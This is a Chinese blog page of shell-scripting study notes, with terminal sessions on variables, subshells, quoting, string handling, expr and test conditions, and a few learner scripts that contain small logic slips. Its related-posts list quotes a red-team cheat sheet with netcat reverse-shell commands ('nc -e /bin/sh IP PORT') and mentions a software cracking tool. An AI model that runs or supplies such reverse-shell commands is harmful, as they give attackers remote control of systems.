Shell最全笔记 就决定用你了

shell学习教程(超详细完整) 为了方便以后工作和复习,记录一下学习shell脚本的笔记,看这篇文章需要对linux系统熟悉 文章目录一、什么是shell?为什么要学习和使用shell?二、shell的分类shell脚本的执行三、shell变量1.变量的命名规则:2.变量的分类:2.1用户自定义变量:2.1.1变量定义2.1.2变量调用2.1.3变量查看2.1.4变量删除2.2环境变量:1)环境变量设置2)环境变量查询和删除3)系统默认环境变量2.3位置参数变量:2.4预定义变量:3.只读变量:4.接受键盘输入:四、shell 运算符1. 阅读详情

一.简介

 

 

 二.shell脚本

2.1什么是

 2.2shebang

 2.3第一个脚本

简单输出一句话

shell脚本

#!/bin/bash
echo "我是你爹"

执行:./demo1.sh

python脚本

#!/usr/bin/python
#coding:utf-8
print("我是你爹")

执行:.python pydemo.py

2.4脚本注释

 

2.5执行shell脚本的方式

2.6shell与运维

2.7弱类型

 2.8其它脚本语言

2.9shell的优势

 

2.10命令历史

2.11shell变量

 

 2.12父子shell

sh命令执行 shell脚本后创建一个bash的进程 所以,可以看到再次输出name的时候是输出的

子shell中的变量

[root@VM-4-3-centos shelldemo]# vim mk_var.sh
[root@VM-4-3-centos shelldemo]# cat mk_var.sh
name="大西瓜"
[root@VM-4-3-centos shelldemo]# ll
total 12
-rwxr-xr-x 1 root root 32 Apr  8 17:40 demo1.sh
-rw-r--r-- 1 root root 17 Apr  8 19:14 mk_var.sh
-rwxr-xr-x 1 root root 54 Apr  8 17:51 pydemo.py
[root@VM-4-3-centos shelldemo]# bash mk_var.sh
[root@VM-4-3-centos shelldemo]# name="大菠萝"
[root@VM-4-3-centos shelldemo]# echo $name
大菠萝
[root@VM-4-3-centos shelldemo]# 
[root@VM-4-3-centos shelldemo]# vim mk_var1.sh
[root@VM-4-3-centos shelldemo]# echo $userr

[root@VM-4-3-centos shelldemo]# sh mk_var1.sh
[root@VM-4-3-centos shelldemo]# echo $userr

[root@VM-4-3-centos shelldemo]# source mk_var1.sh
[root@VM-4-3-centos shelldemo]# echo $userr
root
[root@VM-4-3-centos shelldemo]# cat mk_var1.sh
userr=`whoami`

 

 2.13单双引号的区别

建议都用双引号 双引号能识别特殊字符,单引号只会原样输出单引号中的内容

[root@VM-4-3-centos bin]# name=libai
[root@VM-4-3-centos bin]# echo '${name}'
${name}
[root@VM-4-3-centos bin]# echo "${name}"
libai 

2.14shell面试题

2.15 bash_profile

这玩意用户登录时就会执行,并且执行后的变量只在当前用户下可见

[root@VM-4-3-centos ~]# echo $name
我是你爹111
[root@VM-4-3-centos ~]# cat ~/.bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

name="我是你爹111"

export PATH
[root@VM-4-3-centos ~]# useradd robert
[root@VM-4-3-centos ~]# sudo - robert
sudo: -: command not found
[root@VM-4-3-centos ~]# su - robert
[robert@VM-4-3-centos ~]$ echo $name

2.16环境变量与系统中的配置文件

2.17用户变量与全局变量

需要给用户设置该用户范围内可见变量 修改 bash_profile

需要设置全局变量 也就是所有用户可见 修改 etc下的profile

2.18设置只读变量

2.19 使用awk命令查看所有全局变量名

可以看到很多我们熟悉的,比如之前设置的JAVA_HOME

还有 HISTSIZE HOSTNAME等本身自带的

[root@VM-4-3-centos ~]# env |awk -F '=' '{print $1}'
HOSTNAME
SSL_CERT_FILE
TERM
SHELL
HISTSIZE
USER
LS_COLORS
USERNAME
PATH
MAIL
PWD
JAVA_HOME
TST_HACK_BASH_SESSION_ID
LANG
SSL_CERT_DIR
SHLVL
HOME
LOGNAME
CLASSPATH
LESSOPEN
PROMPT_COMMAND
HISTTIMEFORMAT

2.20bash多命令执行

bash支持一次性执行多条命令 跟mysql一样 以分号分开即可

2.21环境变量初始化及加载顺序 

2.22 $0 $n $# $* $@ 等特殊变量的使用与区别

 

 

 

2.23特殊状态变量

 man bash 然后

/Special Para        

2.24小练习 判断当前执行脚本参数是否为两个 若不是则给出提示

记得 []中内容两侧要空格不然会报错 ./special_statusvar.sh: line 2: [0: command not found

[root@VM-4-3-centos shelldemo]# cat special_statusvar.sh
#!/bin/bash
[$# -ne 2]&&{
echo "must be two params"
exit 119
}
echo "执行成功"
[root@VM-4-3-centos shelldemo]# vim special_statusvar.sh 
[root@VM-4-3-centos shelldemo]# ./special_statusvar.sh
must be two params
[root@VM-4-3-centos shelldemo]# ./special_statusvar.sh aa bb
执行成功
[root@VM-4-3-centos shelldemo]# 

2.25shell字串常用命令

 2.25.1 echo 与 printf 

  2.25.2 eval

  2.25.3 exec

2.26 shell中字符串的常见方法

就像java中有各种字符串的方法比如 截取 替换等等 

2.27统计不同方式计算字符串长度的消耗时间

结论:shell内置命令${#var} 最快

2.28字符串截取常见方式

2.29字符串局部批量替换小案例

如下,批量把文件名中的 juege替换为juejue

[root@VM-4-3-centos shelldemo]# touch juege_{1..5}.jpg
[root@VM-4-3-centos shelldemo]# ls
demo1.sh  juege_1.jpg  juege_2.jpg  juege_3.jpg  juege_4.jpg  juege_5.jpg  mk_var1.sh  pydemo.py  special_statusvar.sh
[root@VM-4-3-centos shelldemo]# ls *.jpg
juege_1.jpg  juege_2.jpg  juege_3.jpg  juege_4.jpg  juege_5.jpg
[root@VM-4-3-centos shelldemo]# for file_name in `ls *.jpg`;do mv $file_name `echo ${file_name/ju*ge/juejue}`;
> done
[root@VM-4-3-centos shelldemo]# ll
total 16
-rwxr-xr-x 1 root root 32 Apr  8 17:40 demo1.sh
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_1.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_2.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_3.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_4.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_5.jpg
-rw-r--r-- 1 root root 15 Apr  8 19:26 mk_var1.sh
-rwxr-xr-x 1 root root 54 Apr  8 17:51 pydemo.py
-rwxr-xr-x 1 root root 87 Apr  9 12:23 special_statusvar.sh

 2.30shell中的扩展变量,用于变量判空处理

 2.31判空处理小练习

find dir_path -name pattern :查找文件夹中符合pattern的文件

这里用:=判断查找的文件夹名是否有效 比如如果不存在就替换为dir_path

[root@VM-4-3-centos shelldemo]# ll
total 16
-rwxr-xr-x 1 root root 32 Apr  8 17:40 demo1.sh
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_1.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_2.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_3.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_4.jpg
-rw-r--r-- 1 root root  0 Apr  9 22:48 juejue_5.jpg
-rw-r--r-- 1 root root 15 Apr  8 19:26 mk_var1.sh
-rwxr-xr-x 1 root root 54 Apr  8 17:51 pydemo.py
-rwxr-xr-x 1 root root 87 Apr  9 12:23 special_statusvar.sh
[root@VM-4-3-centos shelldemo]# dir_path=/shelldemo
[root@VM-4-3-centos shelldemo]# find ${dir_pp:=$dirpath} -name "juege*"
[root@VM-4-3-centos shelldemo]# find ${dir_pp:=$dirpath} -name "juejue*"
./juejue_2.jpg
./juejue_5.jpg
./juejue_3.jpg
./juejue_1.jpg
./juejue_4.jpg

2.32父子shell进一步理解

2.32.1 为啥要学习父子shell

 2.32.2sh与bash的区别

2.32.3shell脚本执行方式回顾

2.32.4使用$BASH_SUBSHELL 看是否在子shell以及子shell的层级 

 2.32.5使用()开启子shell,多少个()开多少层子shell

 

2.32.6使用pstree及ps -ef --forest查看进程列表

ps -ef --forest看到的就是以下效果 

2.33内置命令与外置命令区别 

简单来说内置命令启动时加载到内存,运行速度更快,使用 type 即可查看是否是内置命令

使用compgen -b查看所有内置命令

[root@VM-4-3-centos shelldemo]# type cd
cd is a shell builtin
[root@VM-4-3-centos shelldemo]# type exit
exit is a shell builtin
[root@VM-4-3-centos shelldemo]# compgen -b
.
:
[
alias
bg
bind
break
builtin
caller
cd
command
compgen
complete
compopt
continue
declare
dirs
disown
echo
enable
eval
exec
exit
export
false

2.34source和. bash和sh执行shell脚本的不同

2.35${vars} $() `` () $vars符号的使用区别

$() 与 `` 都是在当前shell执行命令 

()是开启子shell执行命令

${vars} 与 $vars是取值

2.36shell中的常见运算符号与运算命令

 

2.37综合小练习:编写一个进行数学运算的脚本 参数非法时进行提示

[root@VM-4-3-centos shelldemo]# . caculation.sh 12 + a
12
this is a script for math caculation pls enter number1 operator number2 as three parameters

脚本内容如下

1.该脚本编写注意事项  必须双括号才是进行数值运算

2.if 后的[] 中内容前后必须要有空格

3.$?的值为上一条命令执行的结果 如果不为1表示执行失败 

[root@VM-4-3-centos shelldemo]# cat caculation.sh
#!/bin/bash
echo "$(($1$2$3))"
if [ $? != 1 ];
then 
echo "this is a script for math caculation pls enter number1 operator number2 as three parameters"
fi

2.38小练习二 检测nginx服务是否存活

2.39expr命令

 2.40 案例一 编写脚本使用expr命令判断文件名后缀是否符合要求

[root@VM-4-3-centos shelldemo]# . expr_demo.sh aa.jpg
符合要求
[root@VM-4-3-centos shelldemo]# . expr_demo.sh aa.png
请输入以jpg结尾的文件名
[root@VM-4-3-centos shelldemo]# cat expr_demo.sh
#!/bin/bash

if expr "$1" ":" ".*\.jpg" &> /dev/null
        then echo "符合要求"
else echo "请输入以jpg结尾的文件名"
fi
[root@VM-4-3-centos shelldemo]# 

2.41编写个脚本判断参数中所有长度不大于5的单词

用./ 执行需要先加权限  chmod +x for_expr_demo.sh

[root@VM-4-3-centos shelldemo]# ./for_expr_demo.sh hello you are welcome to china , I am your father
长度不大于5的参数是
you
are
to
,
I
am
your
[root@VM-4-3-centos shelldemo]# cat for_expr_demo.sh
#!/bin/bash

echo "长度不大于5的参数是";
for word in $*
 do 
    if [ `expr length $word` -lt 5 ]
        then
            echo $word;
    fi    
done
[root@VM-4-3-centos shelldemo]#

2.42使用多种方式计算1到200中所有数字之和

2.42.1使用bc命令

tr命令:text replace,  下面报错原因是 tr前面也需要管道符

[root@VM-4-3-centos ~]# echo {1..200}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
[root@VM-4-3-centos ~]# echo {1..200} tr " " "+" |bc 
(standard_in) 1: syntax error
[root@VM-4-3-centos ~]# echo {1..200}|tr " " "+" |bc 
20100

2.42.2使用双括号计算

seq 10 生成1到10十个数字 seq -s +10 生成十个数字的同时使用+号连接

我们再使用之前说过的双括号运算即可 记得双括号内命令左右要加`` 外面要加$

[root@VM-4-3-centos ~]# seq 10
1
2
3
4
5
6
7
8
9
10
[root@VM-4-3-centos ~]# seq -s + 10
1+2+3+4+5+6+7+8+9+10
[root@VM-4-3-centos ~]# echo $((`seq -s + 200`)) 
20100

2.42.3使用expr

记得接收参数的命令是xargs 我第一次写成了 args

[root@VM-4-3-centos shelldemo]# seq -s " + " 10 | xargs expr
55


2.43 read 命令 

2.44 test 及单双中括号进行条件判断

  强调:对变量进行条件判断必须加双引号

 

 使用 test 或者 [ ] 或者[[]] 进行条件判断

[root@VM-4-3-centos shelldemo]# touch aaa.sh
[root@VM-4-3-centos shelldemo]# echo `test -e aaa.sh`

[root@VM-4-3-centos shelldemo]# test -e aaa.sh && echo "aaa.sh 已存在" || touch aaa.sh
aaa.sh 已存在
[root@VM-4-3-centos shelldemo]# [ -e "aaa" ] && echo "aaa 文件已存在" || touch aaa
aaa 文件已存在
[root@VM-4-3-centos shelldemo]# a=20
[root@VM-4-3-centos shelldemo]# [[ $a > 5 ]] && echo "a的值大于5" || echo "a的值小于等于5"
a的值小于等于5
[root@VM-4-3-centos shelldemo]# [[ $a > 5 ]] && echo "a的值小于等于5" || echo "a的值大于5"
a的值大于5
[root@VM-4-3-centos shelldemo]# 

 单中括号 [ ] 与 双中括号的异同

单中括号 [ ]
a. [ ] 两个符号左右都要有空格分隔
b. 内部操作符与操作变量之间要有空格:如 [“a” = “b” ]
c. 字符串比较中,> < 需要写成 \> \< 进行转义
d. [ ] 中字符串或者${}变量尽量使用"" 双引号扩住,以避免值未定义引用而出错
e. [ ] 中可以使用 –a –o 进行逻辑运算
f. [ ] 是bash 内置命令:[ is a shell builtin

双中括号
a. [[ ]] 两个符号左右都要有空格分隔
b. 内部操作符与操作变量之间要有空格:如 [[ “a’ = “b” ]]
c. 字符串比较中,可以直接使用 > < 无需转义
d. [[ ]] 中字符串或者${}变量尽量使用”" 双引号扩住,如未使用""会进行模式和元字符匹配
e. [[ ]] 内部可以使用 && || 进行逻辑运算
f. [[ ]] 是bash keyword:[[ is a shell keyword

2.45成为高级shell开发得多看大神写的好脚本

比如查看 

/etc/init.d/functions

/etc/init.d/mysql

脚本

2.46数值比较符号 :大于 小于 等于 不等于等在[],test,(()),[[]]中的不同表达

2.47逻辑运算符号  && || -a -o 分别在什么时候能用

&& ||跟java中一样

2.48 [] test [[]] (())的区别,常用[]

2.49综合脚本编写

让用户选择输入数字,数字对应会执行命令 这里比较简单就不写了

2.50if then,if then ifel then 等条件判断分支语句 

注意事项 一个if 对应 一个 fi  然后 [] 或者[[]]中内容首尾都要加空格

 

 

 

 

2.50使用awk获取当前内存剩余多少兆

NR:number of row 行数 起始行为1 NF:number of field 总列数

所以如下两条命令的效果一样,因为总列数为7 值不同是因为两次命令删除的间歇刚好消耗了1m

[root@VM-4-3-centos ~]# free -m | awk 'NR==2 {print $NF}'
2746

[root@VM-4-3-centos ~]# free -m | awk 'NR==2 {print $7}'
2745

[root@VM-4-3-centos ~]# free -m
              total        used        free      shared  buff/cache   available
Mem:           3694         659         132           0        2902        2746
Swap:             0           0           0
[root@VM-4-3-centos ~]# free -m | awk 'NR==2 {print $NF}'
2746

[root@VM-4-3-centos ~]# free -m | awk 'NR==2 {print $7}'
2745

 

 

2.51if else练习:编写一个脚本传入两个参数 比较大小后输出告诉运行者

2.52使用 php或者python连接mysql 然后判断连接是否成功

 

 

 

linux系统——sh命令详解 sh使用方式 阅读详情

相关推荐

Shell 脚本学习大全(从入门到精通)

定义规则:变量名只能包含字母、数字、下划线,不能以数字开头,等号前后无空格;使用方式:通过$变量名或${变量名}引用(推荐加 {},避免歧义)。# 基础定义name="Shell Script"age=20# 引用echo "名称:$name" # 输出 名称:Shell Scriptecho "年龄:${age}岁" # 输出 年龄:20岁(加 {} 避免和后续字符混淆)# 只读变量(定义后不可修改/删除)

Godclass的博客 1353

Java工具 - sh脚本/命令

编写shell脚本,常用命令

xiaoran879的博客 1万+

红队笔记专属-shell备忘录

前言: ​ 建议直接复制粘贴到笔记,或点赞收藏,因为时常会用到,这是整理的一些常见的反向shell和特权提升的笔记文档,红队成员必会! 最全。 反向shell-备忘录: ​ 通常在获得远程代码执行之后,我们希望获得一些交互式访问—而不是发出单个命令获取单个回显或与 web shell 交互,从实战的意义来讲,反弹shell是非常有必要的,以下将从不同的工具出发, nc listen: nc -nlvp PORT connect: nc -e /bin/sh IP PORT or nc -c sh I

Gamma_lab的博客 4486

shell最全笔记

一. linux中的shell 1、查看linux使用的shell 在linux中多个shell,有c shell, k shell,等等。在centos7中,Bourne Again shell才是主要使用的,即是bash. 查看/etc/shells lrwxrwxrwx. 1 1M Dec 10 08:43 /bin/sh -> bash -rwxr-xr-x. 1 1M Mar 31 2020 /bin/bash lrwxrwxrwx. 1 1M Dec 10 08:43

baidu_36831253的博客 3384

Shell入门基础学习笔记

1.基本语法(1)定义变量:变量=值(2)撤销变量:unset 变量(3)声明静态变量:readonly变量,注意:不能unset2.变量定义规则(1)变量名称可以由字母、数字和下划线组成,但是不能以数字开头,环境变量名建议大写。2)等号两侧不能有空格(3)在bash中,变量默认类型都是字符串类型,无法直接进行数值运算。(4)变量的值如果有空格,需要使用双引号或单引号括起来。3.案例实操(1)定义变量A5(2)给变量A重新赋值8(3)撤销变量A(4)声明静态的变量B=2,不能unset。

金州饿霸吃不饱的博客 1506

Shell笔记

Shell 大数据学习的开始,参考视频 Shell概述 Shell是一个命令行解释器,接收用户命令,调用系统内核 解析器类型 sh bash nologin dash tcsh csh 其中,sh软链接到bash, centos默认解析器是bash Shell脚本入门 脚本格式 脚本开头指定解析器 #!/bin/bash 一个输出hello,word的脚本 1.sh #!/bin/bash echo hello,word 执行脚本 bash 1.sh ---方法1 sh 1.s

doordiey的博客 2112

2024年最全Shell脚本学习笔记(从入门到精通)

现在能在网上找到很多很多的学习资源,有免费的也有收费的,当我拿到1套比较全的学习资源之前,我并没着急去看第1节,我而是去审视这套资源是否值得学习,有时候也会去问一些学长的意见,如果可以之后,我会对这套学习资源做1个学习计划,我的学习计划主要包括规划图和学习进度表。:文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)(1)输入一个数字,如果是1,则输出banzhang,如果是2,则输出cls,如果是其它,输出renyao。

2401_84692299的博客 1169

【速通版!语义通信基础与前沿学习计划】

🧠语义通信基础与前沿学习计划

dally2的博客 1412

2024年最全shell学习教程(超详细完整)_shell教程,2024年最新2024年你与字节跳动只差这份笔记

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

m0_61549984的博客 699

Opencv相机校准之棋盘格标定

Reference: https://yq.aliyun.com/articles/62472

y459541195的博客 3万+

fatal: unable to access ‘https://github.com/‘: Recv failure: Connection was reset 解决方案

本文主要介绍了fatal: unable to access ‘https://github.com/’: Recv failure: Connection was reset 解决方案,希望能对使用github的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 2万+

2024年运维最全Linux shell编程学习笔记32:declare 命令_shell declare -a(2),2024年Linux运维工作或更难找

33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;31:*.z=01;31:*.Z=01;31:*.dz=01;

2401_83621918的博客 435

ROS2 多机器人导航仿真入门教程(一)

RMF 是建立在 ROS 2 基础上的一系列可重复使用、可扩展的库和工具,可实现任何类型机器人系统的异构机群的互操作性。RMF 利用标准化的通信协议与部署机器人的基础设施、环境和自动化系统进行通信,以优化关键资源(如机器人、电梯、门、通道等)的使用。它通过资源分配和通过 RMF 核心(将在本书后面详细介绍)防止共享资源冲突,从而为系统增加智能。RMF 灵活而强大,几乎可以在任何通信层上运行,并与任何数量的物联网设备集成。RMF 的架构设计允许随着环境自动化水平的提高而扩展。

2506_90492529的博客 1657

最全Linux Shell详细教程

若不存在,则创建一个文件,使用touch来创建,创建完成后离开;如果存在,判断该名称是否为文件,若为文件,则显示其行数;如果不是文件,则离开;我们在这里就在本地测试学习,因此我在这里先不建议大家这么着急去买服务器来学,这样比较费钱,等我们学好这些基础之后,再去上手服务器,那将是手到擒来。condition 一般为条件表达式,如果返回值为 false,则继续执行循环体内的语句,否则跳出循环。这里又到了最后了,补充一下printf跟echo命令是一样的作用,因此我就不演示了,统一用echo来输出。

独旅天涯 3万+

YOLOv11改进策略【小目标改进】| Shape-NWD:融合改进,结合Shape-IoU和NWD 更好地适应小目标特性

Bw−wgt2h−hgt2weight2Bweight2w−wgt​2h−hgt​2​其中weight2weight = 2weight2。

Limiiiing的博客 3048

Android 13.0 app进程保活白名单功能实现

在13.0的系统rom产品开发中,在某些重要的app即使进入后台,产品需求要求也不想被系统杀掉进程,需要app长时间保活,就是app进程保活白名单功能的实现, 所以需要在系统杀进程的时候不杀掉白名单的进程,接下来就看怎么样来实现这些功能

安卓兼职framework和app工程师的博客 3141

Shell编程学习笔记1-Shell入门

初识Shell脚本程序---什么是Shell脚本?有什么作用?

2302_76629181的博客 1201

Qt Quick/QML入门到精通_专栏demo对应文章目录(目前50个左右demo/长期更新)

自定义图标下拉列表框的效果如下所示:自定义三态按钮的效果如下所示:传送门:53.qt quick-自定义三态按钮、自定义图标下拉列表框_诺谦的博客-优快云博客传送门:59.qt quick-qml调色板(颜色取色器)实现、自定义QQuickStyle样式_诺谦的博客-优快云博客63.qt quick-QML侧边滑动栏(不需要任何图片资源,支持自定义左右方向和大小)_诺谦的博客-优快云博客_qt实现好看侧边栏。...

抵抗时间扭曲,坚持做一件有意义的事 2万+

大数据开发扩展shell 笔记

1/bin/sh/bin/bash/bin/dash/bin/tcsh/bin/csh2bash和sh的关系-rwxr-xr-x. 1 root root 941880 5月 11 2016 bashlrwxrwxrwx. 1 root root 4 5月 27 2017 sh -> bash3Centos默认的解析器是bash/bin/bash1)常用系统变量HOMEHOME、HOMEPWD、SHELLSHELL、SHELLUSER等2)案例实操。

2301_79083000的博客 1308

ArcGIS Pro 3.4 二次开发 - 知识图谱

本文介绍了在ArcGIS Pro SDK 3.4和.NET 8环境下操作知识图谱的方法。主要包含两大功能模块:1) 知识图谱数据存储操作,包括建立连接、获取图层、检索要素类与表定义、ID转换等;2) 知识图谱数据模型管理,如获取数据模型属性、标识符信息等。代码示例详细展示了如何使用C#通过QueuedTask异步任务与知识图谱服务交互,包括异常处理、数据转换等常见操作场景。所有示例均采用using语句确保资源释放,并遵循ArcGIS Pro SDK的最佳实践。

Winemonk 762

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

史上最全的Shell指南-上篇

0 史上最全的Shell指南 ps: 你不会在第二个地方找到这么全的指南 1 shell简介 1.1 核心命令 1.1.1 筛选信息 shell快捷键 快捷键符号 命令执行: !! 执行上一条命令 !num 执行历史命令中的第num行命令 Ctrl 关键字 执行内容匹配的命令 命令行切换 Ctrl + A 光标迅速回到行首 Ctrl + E 光标迅速回到行尾 Ctrl + k 删除光标到行尾内容 Ctrl + u 删除光标到行首

苦行僧 469

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Shell脚本学习笔记

Shell学习笔记Shell学习笔记 简介 Shell教程入门 1shell脚本 2shell脚本实践 Shell变量 1使用变量 2只读变量 3删除变量 4变量类型 5shell字符串 6Shell数组 7Shell注释 Shell传递参数 1实例 Shell数组 Shell运算符 1算术运算符 2关系运算符 3布尔运算符 4逻辑运算符 5字符串运算符 6文件测试运算符 Shell echo命令

冰路梦 4592

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

Shell学习笔记

HOME,$PWD,$USR,$SHELL,$PATH等输出的时候echo $HOME定义的是一个变量,而printenv HOME只是打印内容显示当前shell中所有的变量:set定义局部变量:变量名=变量值,注意的是=前后不能有空格,不然会把空格前面的当成一个命令而无法执行定义全局变量:先定义局部变量,然后执行 export 变量名 就成了全局变量定义只读变量:readonly 变量名=变量值,只读变量不能撤销unset撤销变量:unset 变量名。

eyuhaobanga的博客 1628

shell脚本学习笔记

shell脚本学习

lin 1255
上一篇: Java 高级/资深/架构 面试题
下一篇: 三年半 8k到30k+经验分享
我才是真的封不觉
博客等级 码龄8年 871粉丝 436原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我才是真的封不觉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值